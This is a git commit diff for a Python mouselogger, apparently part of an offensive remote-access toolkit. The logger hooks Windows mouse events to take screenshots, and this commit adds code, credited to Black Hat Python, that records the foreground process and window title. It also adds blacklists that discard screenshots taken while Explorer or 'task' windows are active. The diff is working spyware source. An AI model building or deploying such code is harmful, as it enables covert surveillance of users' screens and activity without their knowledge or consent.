mouselogger with active window

similary to keylogger patch, gets active window title, added black listing of processes/window titles.
This commit is contained in:
golind 2015-10-28 15:45:40 +00:00
parent cdbf1058ab
commit ba64a783b8
1 changed files with 37 additions and 4 deletions

View File

@ -60,6 +60,8 @@ kernel32 = windll.kernel32
WH_MOUSE_LL=14
WM_MOUSEFIRST=0x0200
psapi = windll.psapi
current_window = None
# Initilisations
SM_XVIRTUALSCREEN = 76
@ -172,7 +174,6 @@ class MouseLogger(threading.Thread):
return pixels.raw, height, width
def install_hook(self):
CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
self.pointer = CMPFUNC(self.hook_proc)
@ -194,10 +195,42 @@ class MouseLogger(threading.Thread):
self.screenshots.append((datetime.datetime.now(), height, width, buf))
return user32.CallNextHookEx(self.hooked, nCode, wParam, lParam)
#credit: Black Hat Python - https://www.nostarch.com/blackhatpython
def get_current_process():
hwnd = user32.GetForegroundWindow()
pid = c_ulong(0)
user32.GetWindowThreadProcessId(hwnd, byref(pid))
#process_id = "%d" % pid.value
executable = create_string_buffer("\x00" * 512)
h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
window_title = create_string_buffer("\x00" * 512)
length = user32.GetWindowTextA(hwnd, byref(window_title),512)
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
#return "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value)
return executable.value, window_title.value
if __name__=="__main__":
proc_blacklist = ['explorer.exe']
proc_whitelist = []# can expand on this
title_blacklist = set(['task'])
title_whitelist = set([])# can expand on this
ml = MouseLogger()
ml.start()
while True:
time.sleep(5)
for d, height, width, buf in ml.retrieve_screenshots():
print "screenshot of %s/%s taken at %s (%s bytes)"%(height, width, d, len(buf))
exe, win_title = get_current_process()
curr_title = set(win_title.lower().split())
if (exe.lower() in proc_blacklist) or (title_blacklist & curr_title):
ml.screenshots = []
else:
time.sleep(5)
for d, height, width, buf in ml.retrieve_screenshots():
print "screenshot of %s - %spx/%spx taken at %s (%s bytes)"%(win_title, height, width, d, len(buf))